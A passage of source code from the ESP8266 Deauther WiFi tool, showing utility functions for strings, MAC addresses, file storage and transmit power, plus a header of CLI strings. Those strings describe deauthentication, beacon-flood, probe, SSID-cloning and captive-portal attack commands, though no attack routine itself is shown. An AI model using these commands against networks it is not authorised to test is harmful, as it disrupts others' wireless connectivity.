uint8_t len;
for (int i = 0; i < size; i++) {
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if (len <= 1) result += c; // when 1 byte char, add it :)
else i += len - 1; // skip other chars
}
return result;
}
int utf8Len(String str) {
int size = str.length();
int result = 0;
char c;
uint8_t len;
for (int i = 0; i < size; i++) {
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if (len <= 1) result++; // when 1 byte char, add 1 :)
else {
result++;
for (int j = 1; j < len; j++) {
c = str.charAt(i + j);
if (!utf8Part(c) && (utf8(c) == 1)) {
Serial.println(c, HEX);
result++; // if following char is compliant or not
}
}
i += len - 1;
}
}
return result;
}
String replaceUtf8(String str, String r) {
str = fixUtf8(str); // fix it in case a utf char is broken
int size = str.length();
String result = String();
char c;
uint8_t len;
for (int i = 0; i < size; i++) {
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if (len <= 1) result += c; // when 1 byte char, add it :)
else {
result += r;
i += len - 1; // skip other chars
}
}
return result;
}
// ===== LANGUAGE STRING FUNCTIONS ===== //
// for reading Strings from the PROGMEM
String str(const char* ptr) {
char keyword[strlen_P(ptr)];
strcpy_P(keyword, ptr);
return String(keyword);
}
// for converting keywords
String keyword(const char* keywordPtr) {
char keyword[strlen_P(keywordPtr)];
strcpy_P(keyword, keywordPtr);
String str = "";
uint8_t len = strlen(keyword);
uint8_t i = 0;
while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) {
str += keyword[i];
i++;
}
return str;
}
// equals function
bool eqls(const char* str, const char* keywordPtr) {
if (strlen(str) > 255) return false; // when string too long
char keyword[strlen_P(keywordPtr) + 1];
strcpy_P(keyword, keywordPtr);
uint8_t lenStr = strlen(str);
uint8_t lenKeyword = strlen(keyword);
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
// and ',')
uint8_t a = 0;
uint8_t b = 0;
bool result = true;
while (a < lenStr && b < lenKeyword) {
if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;
if (tolower(str[a]) != tolower(keyword[b])) result = false;
if (((a == lenStr) && !result) || !result) { // fast forward to next comma
while (b < lenKeyword && keyword[b] != COMMA) b++;
result = true;
a = 0;
} else {
a++;
b++;
}
}
// comparison correct AND string checked until the end AND keyword checked until the end
return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE);
}
bool eqls(String str, const char* keywordPtr) {
return eqls(str.c_str(), keywordPtr);
}
// boolean to string
String b2s(bool input) {
return str(input ? STR_TRUE : STR_FALSE);
}
// boolean to asterix *
String b2a(bool input) {
return input ? String(ASTERIX) : String(SPACE);
}
// string to boolean
bool s2b(String input) {
return eqls(input, STR_TRUE);
}
// ===== PRINT FUNCTIONS ===== //
void prnt(const String s) {
Serial.print(s);
}
void prnt(const bool b) {
Serial.print(b2s(b));
}
void prnt(const char c) {
Serial.print(c);
}
void prnt(const char* ptr) {
Serial.print(FPSTR(ptr));
}
void prnt(const char* ptr, int len) {
for (int i = 0; i<len; i++) prnt(ptr[i]);
}
void prnt(const int i) {
Serial.print((String)i);
}
void prnt(const uint32_t i) {
Serial.printf("%u", i);
}
void prntln() {
Serial.println();
}
void prntln(const String s) {
Serial.println(s);
}
void prntln(const bool b) {
Serial.println(b2s(b));
}
void prntln(const char c) {
Serial.println(c);
}
void prntln(const char* ptr) {
Serial.println(FPSTR(ptr));
}
void prntln(const char* ptr, int len) {
for (int i = 0; i<len; i++) prnt(ptr[i]);
prntln();
}
void prntln(const int i) {
Serial.println((String)i);
}
void prntln(const uint32_t i) {
Serial.printf("%u\r\n", i);
}
/* ===== WiFi ===== */
void setWifiChannel(uint8_t ch, bool force) {
if (((ch != wifi_channel) || force) && (ch < 15)) {
wifi_channel = ch;
wifi_set_channel(wifi_channel);
}
}
void setOutputPower(float dBm) {
if (dBm > 20.5) {
dBm = 20.5;
} else if (dBm < 0) {
dBm = 0;
}
uint8_t val = (dBm * 4.0f);
system_phy_set_max_tpw(val);
}
/* ===== MAC ADDRESSES ===== */
bool macBroadcast(uint8_t* mac) {
for (uint8_t i = 0; i < 6; i++)
if (mac[i] != broadcast[i]) return false;
return true;
}
bool macValid(uint8_t* mac) {
for (uint8_t i = 0; i < 6; i++)
if (mac[i] != 0x00) return true;
return false;
}
bool macMulticast(uint8_t* mac) {
// see https://en.wikipedia.org/wiki/Multicast_address
if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;
if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;
if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;
if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&
((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&
((mac[4] == 0x00) || (mac[4] == 0x01))) return true;
if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&
((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;
if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&
(mac[5] == 0x00)) return true;
return false;
}
/* ===== VENDOR LIST (oui.h) ===== */
void getRandomMac(uint8_t* mac) {
int num = random(sizeof(data_vendors) / 11 - 1);
uint8_t i;
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
for (i = 3; i < 6; i++) mac[i] = random(256);
}
int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
uint8_t listBytes[3];
int res;
int mid = (lowerEnd + upperEnd) / 2;
while (lowerEnd <= upperEnd) {
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
res = memcmp(searchBytes, listBytes, 3);
if (res == 0) {
return mid;
} else if (res < 0) {
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
}
}
return -1;
}
String searchVendor(uint8_t* mac) {
String vendorName = String();
int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);
int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8;
if (pos >= 0) {
char tmp;
for (int i = 0; i < 8; i++) {
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
if (tmp != ENDOFLINE) vendorName += tmp;
tmp += SPACE;
}
}
return vendorName;
}
/* ===== STRING ===== */
String bytesToStr(const uint8_t* b, uint32_t size) {
String str;
for (uint32_t i = 0; i < size; i++) {
if (b[i] < 0x10) str += ZERO;
str += String(b[i], HEX);
if (i < size - 1) str += DOUBLEPOINT;
}
return str;
}
String macToStr(const uint8_t* mac) {
return bytesToStr(mac, 6);
}
bool strToMac(String macStr, uint8_t* mac) {
macStr.replace(String(DOUBLEPOINT), String()); // ":" -> ""
macStr.replace("0x", String()); // "0x" -> ""
macStr.replace(String(COMMA), String()); // "," -> ""
macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> ""
macStr.toUpperCase();
if (macStr.length() != 12) {
prntln(F_ERROR_MAC);
return false;
}
for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
return true;
}
bool strToIP(String ipStr, uint8_t* ip) {
String parts[4] = { "0", "0", "0", "0" };
int ipAddr[4] = { -1, -1, -1, -1 };
int j = 0;
for (int i = 0; i<ipStr.length(); i++) {
if (ipStr[i] == '.') j++;
else parts[j] += ipStr[i];
}
for (int i = 0; i<4; i++) {
ipAddr[i] = parts[i].toInt();
if ((ipAddr[i] < 0) || (ipAddr[i] > 255)) return false;
}
for (int i = 0; i<4; i++) {
ip[i] = (uint8_t)ipAddr[i];
}
return true;
}
void strToColor(String str, uint8_t* buf) {
str.replace(":", "");
str.replace("0x", "");
str.replace(",", "");
str.replace("#", "");
str.toUpperCase();
if (str.length() != 6) {
prntln(F_COLOR_INVALID);
return;
}
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
}
String center(String a, int len) {
int spaces = len - a.length();
for (int i = 0; i < spaces; i += 2) {
a = ' ' + a + ' ';
}
a = a.substring(0, len);
return a;
}
String left(String a, int len) {
int spaces = len - a.length();
while (spaces > 0) {
a = a + ' ';
spaces--;
}
a = a.substring(0, len);
return a;
}
String right(String a, int len) {
int spaces = len - a.length();
while (spaces > 0) {
a = ' ' + a;
spaces--;
}
a = a.substring(0, len);
return a;
}
String leftRight(String a, String b, int len) {
int spaces = len - a.length() - b.length();
while (spaces > 0) {
a = a + ' ';
spaces--;
}
a = a + b;
a = a.substring(0, len);
return a;
}
/* ===== SPIFFS ===== */
bool progmemToSpiffs(const char* adr, int len, String path) {
prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));
File f = LittleFS.open(path, "w+");
if (!f) {
prntln(SETUP_ERROR);
return false;
}
for (int i = 0; i < len; i++) {
f.write(pgm_read_byte_near(adr + i));
}
f.close();
prntln(SETUP_OK);
return true;
}
bool readFile(String path, String& buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = LittleFS.open(path, "r");
if (!f) return false;
if (f.size() == 0) return false;
while (f.available()) buf += (char)f.read();
f.close();
return true;
}
void readFileToSerial(String path, bool showLineNum) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = LittleFS.open(path, "r");
if (!f) {
prnt(F_ERROR_READING_FILE);
prntln(path);
return;
}
uint32_t c = 0;
char tmp;
if (showLineNum) {
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
}
while (f.available()) {
tmp = f.read();
prnt(tmp);
if ((tmp == NEWLINE) && showLineNum) {
c++;
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
}
}
f.close();
}
bool copyFile(String pathFrom, String pathTo) {
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
if (!LittleFS.exists(pathFrom)) {
prnt(F_ERROR_FILE);
prntln(pathFrom);
return false;
}
File f1 = LittleFS.open(pathFrom, "r");
File f2 = LittleFS.open(pathTo, "w+");
if (!f1 || !f2) return false;
while (f1.available()) {
f2.write(f1.read());
}
return true;
}
bool renameFile(String pathFrom, String pathTo) {
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
if (!LittleFS.exists(pathFrom)) {
prnt(F_ERROR_FILE);
prntln(pathFrom);
return false;
}
LittleFS.rename(pathFrom, pathTo);
return true;
}
bool writeFile(String path, String& buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = LittleFS.open(path, "w+");
if (!f) return false;
uint32_t len = buf.length();
for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));
f.close();
return true;
}
bool appendFile(String path, String& buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = LittleFS.open(path, "a+");
if (!f) return false;
uint32_t len = buf.length();
for (uint32_t i = 0; i < len; i++) f.write(buf[i]);
f.close();
return true;
}
void checkFile(String path, String data) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
if (!LittleFS.exists(path)) writeFile(path, data);
}
bool removeLines(String path, int lineFrom, int lineTo) {
int c = 0;
char tmp;
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
String tmpPath = str(F_TMP) + path + str(F_COPY);
File f = LittleFS.open(path, "r");
File f2 = LittleFS.open(tmpPath, "w");
if (!f || !f2) return false;
while (f.available()) {
tmp = f.read();
if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);
if (tmp == NEWLINE) c++;
}
f.close();
f2.close();
LittleFS.remove(path);
LittleFS.rename(tmpPath, path);
return true;
}
bool replaceLine(String path, int line, String& buf) {
int c = 0;
char tmp;
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
String tmpPath = "/tmp" + path + "_copy";
File f = LittleFS.open(path, "r");
File f2 = LittleFS.open(tmpPath, "w");
if (!f || !f2) return false;
while (f.available()) {
tmp = f.read();
if (c != line) f2.write(tmp);
else {
f2.println(buf);
while (f.read() != NEWLINE && f.available()) {}
c++;
}
if (tmp == NEWLINE) c++;
}
f.close();
f2.close();
LittleFS.remove(path);
LittleFS.rename(tmpPath, path);
return true;
}
JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
// create JSON Variant
JsonVariant root;
// create buffer
String buf = "";
// read file into buffer
if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error
prnt(F_ERROR_OPEN);
prntln(path);
buf = "{}";
}
// parse file-buffer into a JSON Variant
root = jsonBuffer.parse(buf);
// if parsing unsuccessful
if (!root.success()) {
prnt(F_ERROR_PARSING_JSON);
prntln(path);
prntln(buf);
}
return root;
}
bool removeFile(String path) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
return LittleFS.remove(path);
}
void saveJSONFile(String path, JsonObject& root) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
// create buffer
String buf;
// convert JSON object into string and write it into buffer
root.printTo(buf);
// if buffer too big
if (buf.length() > 2048) {
prntln(F_ERROR_TO_BIG);
prntln(path);
prntln(buf);
return;
}
// write buffer into SPIFFS file
writeFile(path, buf);
}
void saveJSONFile(String path, JsonArray& root) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
// create buffer
String buf;
// convert JSON object into string and write it into buffer
root.printTo(buf);
// if buffer too big
if (buf.length() > 2048) {
prntln(F_ERROR_TO_BIG);
prntln(path);
prntln(buf);
return;
}
// write buffer into SPIFFS file
writeFile(path, buf);
}
String formatBytes(size_t bytes) {
if (bytes < 1024) return String(bytes) + "B";
else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB";
else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB";
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
}

View File

@ -1,624 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
extern String str(const char* ptr);
extern String keyword(const char* keywordPtr);
extern bool eqls(const char* str, const char* keywordPtr);
extern bool eqls(String str, const char* keywordPtr);
extern String b2s(bool input);
extern String b2a(bool input);
extern bool s2b(String input);
extern void prnt(const String s);
extern void prnt(const bool b);
extern void prnt(const char c);
extern void prnt(const char* ptr);
extern void prnt(const char* ptr, int len);
extern void prnt(const int i);
extern void prnt(const uint32_t i);
extern void prntln();
extern void prntln(const String s);
extern void prntln(const bool b);
extern void prntln(const char c);
extern void prntln(const char* ptr);
extern void prntln(const char* ptr, int len);
extern void prntln(const int i);
extern void prntln(const uint32_t i);
/*
The following variables are the strings used for the serial interface, display interface and settings.
The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time:
- every keyword has a unique string
- / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled'
- , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s'
- everything is in lowercase
*/
// ===== GLOBAL STRINGS ===== //
// Often used characters, therefor in the RAM
const char CURSOR = '|';
const char SPACE = ' ';
const char DOUBLEPOINT = ':';
const char EQUALS = '=';
const char HASHSIGN = '#';
const char ASTERIX = '*';
const char PERCENT = '%';
const char DASH = '-';
const char QUESTIONMARK = '?';
const char ZERO = '0';
const char S = 's';
const char M = 'm';
const char D = 'd';
const char DOUBLEQUOTES = '\"';
const char SLASH = '/';
const char NEWLINE = '\n';
const char CARRIAGERETURN = '\r';
const char SEMICOLON = ';';
const char BACKSLASH = '\\';
const char POINT = '.';
const char VERTICALBAR = '|';
const char COMMA = ',';
const char ENDOFLINE = '\0';
const char OPEN_BRACKET = '[';
const char CLOSE_BRACKET = ']';
const char OPEN_CURLY_BRACKET = '{';
const char CLOSE_CURLY_BRACKET = '}';
const char STR_TRUE[] PROGMEM = "true";
const char STR_FALSE[] PROGMEM = "false";
const char STR_MIN[] PROGMEM = "min";
// ===== SETUP ===== //
const char SETUP_OK[] PROGMEM = "OK";
const char SETUP_ERROR[] PROGMEM = "ERROR";
const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS...";
const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
const char SETUP_FORMAT_EEPROM[] PROGMEM = "Formatting EEPROM...";
const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated";
const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/";
const char SETUP_COPYING[] PROGMEM = "Copying ";
const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS...";
// ===== SERIAL COMMAND LINE INTERFACE ===== //
const char CLI_SCAN[] PROGMEM = "scan"; // scan
const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot
const char CLI_STATUS[] PROGMEM = "status"; // status
const char CLI_SHOW[] PROGMEM = "show"; // show
const char CLI_REMOVE[] PROGMEM = "remove"; // remove
const char CLI_SET[] PROGMEM = "set"; // set
const char CLI_STOP[] PROGMEM = "stop"; // stop
const char CLI_LOAD[] PROGMEM = "load"; // load
const char CLI_SAVE[] PROGMEM = "save"; // save
const char CLI_ADD[] PROGMEM = "add"; // add
const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect
const char CLI_CLEAR[] PROGMEM = "clear"; // clear
const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo
const char CLI_RESET[] PROGMEM = "reset"; // reset
const char CLI_ON[] PROGMEM = "on"; // on
const char CLI_OFF[] PROGMEM = "off"; // off
const char CLI_RANDOM[] PROGMEM = "random"; // random
const char CLI_GET[] PROGMEM = "get"; // get
const char CLI_INFO[] PROGMEM = "info"; // info
const char CLI_HELP[] PROGMEM = "help"; // help
const char CLI_RICE[] PROGMEM = "rice"; // rice
const char CLI_FORMAT[] PROGMEM = "format"; // format
const char CLI_DELETE[] PROGMEM = "delete"; // delete
const char CLI_PRINT[] PROGMEM = "print"; // print
const char CLI_RUN[] PROGMEM = "run"; // run
const char CLI_WRITE[] PROGMEM = "write"; // write
const char CLI_LED[] PROGMEM = "led"; // led
const char CLI_SEND[] PROGMEM = "send"; // send
const char CLI_CUSTOM[] PROGMEM = "custom"; // custom
const char CLI_DELAY[] PROGMEM = "delay"; // delay
const char CLI_REPLACE[] PROGMEM = "replace"; // replace
const char CLI_DRAW[] PROGMEM = "draw"; // draw
const char CLI_SCRIPT[] PROGMEM = "script"; // script
const char CLI_STARTAP[] PROGMEM = "startap"; // startap
const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap
const char CLI_RENAME[] PROGMEM = "rename"; // rename
const char CLI_COPY[] PROGMEM = "copy"; // copy
const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled
const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled
const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2
const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks
const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens
const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings
const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id
const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a
const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t
const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c
const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch
const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m
const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b
const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b
const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d
const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da
const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p
const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no
const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f
const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t
const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w
const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl
const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p
const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd
const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h
const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp
const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s
const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss
const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps
const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st
const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n
const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l
const char CLI_COMMENT[] PROGMEM = "//"; // //
const char CLI_SCREEN[] PROGMEM = "screen"; // screen
const char CLI_MODE[] PROGMEM = "mode,-m"; // mode
const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest
const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor
const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading
const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu
const char CLI_HELP_HELP[] PROGMEM = "help";
const char CLI_HELP_SCAN[] PROGMEM = "scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]";
const char CLI_HELP_SHOW[] PROGMEM = "show [selected] [<all/aps/stations/names/ssids>]";
const char CLI_HELP_SELECT[] PROGMEM = "select [<all/aps/stations/names>] [<id>]";
const char CLI_HELP_DESELECT[] PROGMEM = "deselect [<all/aps/stations/names>] [<id>]";
const char CLI_HELP_SSID_A[] PROGMEM = "add ssid <ssid> [-wpa2] [-cl <clones>]";
const char CLI_HELP_SSID_B[] PROGMEM = "add ssid -ap <id> [-cl <clones>] [-f]";
const char CLI_HELP_SSID_C[] PROGMEM = "add ssid -s [-f]";
const char CLI_HELP_NAME_A[] PROGMEM = "add name <name> [-ap <id>] [-s]";
const char CLI_HELP_NAME_B[] PROGMEM = "add name <name> [-st <id>] [-s]";
const char CLI_HELP_NAME_C[] PROGMEM = "add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]";
const char CLI_HELP_SET_NAME[] PROGMEM = "set name <id> <newname>";
const char CLI_HELP_ENABLE_RANDOM[] PROGMEM = "enable random <interval>";
const char CLI_HELP_DISABLE_RANDOM[] PROGMEM = "disable random";
const char CLI_HELP_LOAD[] PROGMEM = "load [<all/ssids/names/settings>] [<file>]";
const char CLI_HELP_SAVE[] PROGMEM = "save [<all/ssids/names/settings>] [<file>]";
const char CLI_HELP_REMOVE_A[] PROGMEM = "remove <ap/station/name/ssid> <id>";
const char CLI_HELP_REMOVE_B[] PROGMEM = "remove <ap/station/names/ssids> [all]";
const char CLI_HELP_ATTACK[] PROGMEM = "attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]";
const char CLI_HELP_ATTACK_STATUS[] PROGMEM = "attack status [<on/off>]";
const char CLI_HELP_STOP[] PROGMEM = "stop <all/scan/attack/script>";
const char CLI_HELP_SYSINFO[] PROGMEM = "sysinfo";
const char CLI_HELP_CLEAR[] PROGMEM = "clear";
const char CLI_HELP_FORMAT[] PROGMEM = "format";
const char CLI_HELP_PRINT[] PROGMEM = "print <file> [<lines>]";
const char CLI_HELP_DELETE[] PROGMEM = "delete <file> [<lineFrom>] [<lineTo>]";
const char CLI_HELP_REPLACE[] PROGMEM = "replace <file> <line> <new-content>";
const char CLI_HELP_COPY[] PROGMEM = "copy <file> <newfile>";
const char CLI_HELP_RENAME[] PROGMEM = "rename <file> <newfile>";
const char CLI_HELP_RUN[] PROGMEM = "run <file>";
const char CLI_HELP_WRITE[] PROGMEM = "write <file> <commands>";
const char CLI_HELP_GET[] PROGMEM = "get <setting>";
const char CLI_HELP_SET[] PROGMEM = "set <setting> <value>";
const char CLI_HELP_RESET[] PROGMEM = "reset";
const char CLI_HELP_CHICKEN[] PROGMEM = "chicken";
const char CLI_HELP_REBOOT[] PROGMEM = "reboot";
const char CLI_HELP_INFO[] PROGMEM = "info";
const char CLI_HELP_COMMENT[] PROGMEM = "// <comments>";
const char CLI_HELP_SEND_DEAUTH[] PROGMEM = "send deauth <apMac> <stMac> <rason> <channel>";
const char CLI_HELP_SEND_BEACON[] PROGMEM = "send beacon <mac> <ssid> <ch> [wpa2]";
const char CLI_HELP_SEND_PROBE[] PROGMEM = "send probe <mac> <ssid> <ch>";
const char CLI_HELP_LED_A[] PROGMEM = "led <r> <g> <b>";
const char CLI_HELP_LED_B[] PROGMEM = "led <#rrggbb>";
const char CLI_HELP_DRAW[] PROGMEM = "draw";
const char CLI_HELP_SCREEN_ON[] PROGMEM = "screen <on/off>";
const char CLI_HELP_SCREEN_MODE[] PROGMEM = "screen mode <menu/packetmonitor/buttontest/loading>";
const char CLI_INPUT_PREFIX[] PROGMEM = "# ";
const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled";
const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled";
const char CLI_ERROR[] PROGMEM = "ERROR: ";
const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \"";
const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue";
const char CLI_CONTINUOUSLY[] PROGMEM = "continuously";
const char CLI_EXECUTING[] PROGMEM = "Executing ";
const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode";
const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script";
const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]";
const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================";
const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0";
const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0";
const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!";
const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n";
const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x";
const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x";
const char CLI_CHICKEN_OUTPUT[] PROGMEM = " ` - : /////////:-. \r\n"
" ./++so:` `` `.:/++/. \r\n"
" `/+o+.+o:.s:-++//s` `:++- \r\n"
" `/+oo+//d- oh/ s- :o/` \r\n"
" .++.o+` `h- .d. h`://+` .o+ \r\n"
" .o+` +/ +o y- +d+. .y .s- \r\n"
" +o` h d` `/ .h- `h ++ \r\n"
" .s- d - .` +/ /o \r\n"
" :o` y. -y /+ \r\n"
" /+ :o ` -h` s: \r\n"
" /o y..://///////:` /o/o. `h \r\n"
" -s +o:`` `-++::/+- `o/ o: \r\n"
" y. :o `:::.` `oo` -s \r\n"
" -s h` .++:---/+/+/:::++. `h \r\n"
" +/ h :o` ` `/s ` .s- d \r\n"
" o: .s h` /h- o:/h- -s `h \r\n"
" +/ +/ h` `` s- ` +/ -s \r\n"
" .y `h` -s- `+y-.`.:+/ +: \r\n"
" o: o: `/+/:/+ss:.-:y/.` `h` \r\n"
" .:-` `y- ++ `so::-://+y. +/ \r\n"
" :o.-/+: :+//:` `s: `+/ -h//:::---:/o- -y \r\n"
" :o `:o:h. `-+/` -d+.:o- .y.``...-/y/++` `y. \r\n"
" +/ `:hs -o- o/:/yo:-` +y++s//+/. `s. \r\n"
" /o` `oo` `/+` .-:y/-`+:+so+/:-` s- y: -s. \r\n"
" ++//+y: -+ .o: ``-:/+:-.`.:+/:hs+`++:/o/:.` `h .y` /o` \r\n"
"`h` `./ys- :o- .--:////:-.` `-/o/::.`/sh-:os/:.` .y oo`+/ -o: \r\n"
" :o- `-o+. `/+o/:-..` `.:+++o/``/:-oo++/:.so+://` `:+/` \r\n"
" `/+:` .. `++` `.-/+/:-/sy.`+o:+y/-. .-/+-` \r\n"
" `-+/- .- `.:/o+:-:.```-:oy/:://:-` \r\n"
" .:+/. `.-:/+/::s/-..` \r\n"
" .++. `.-h. \r\n"
" .o/ +/ \r\n"
" :o. :o \r\n"
" .o: -s \r\n"
" /o` :+ \r\n"
" -o- o: \r\n"
" `o/ h` \r\n"
" :o. -s \r\n"
" .o: y. \r\n"
" /o. /+ \r\n"
" .+/` -s \r\n"
" -+/. .s` \r\n"
" ./+/.` -s` \r\n"
" .:/+:.` /o` \r\n"
" .:/o/.` .o: \r\n"
" o/:/+/.` .++` \r\n"
" -s `:/+:` `:+/` \r\n"
" ++` -+o-` `-++- \r\n"
" :s/::/+//::+/---/+/:` \r\n"
" +/s:` `-h-s- \r\n"
" +/s- `y y. \r\n"
" +/y. `y h` \r\n"
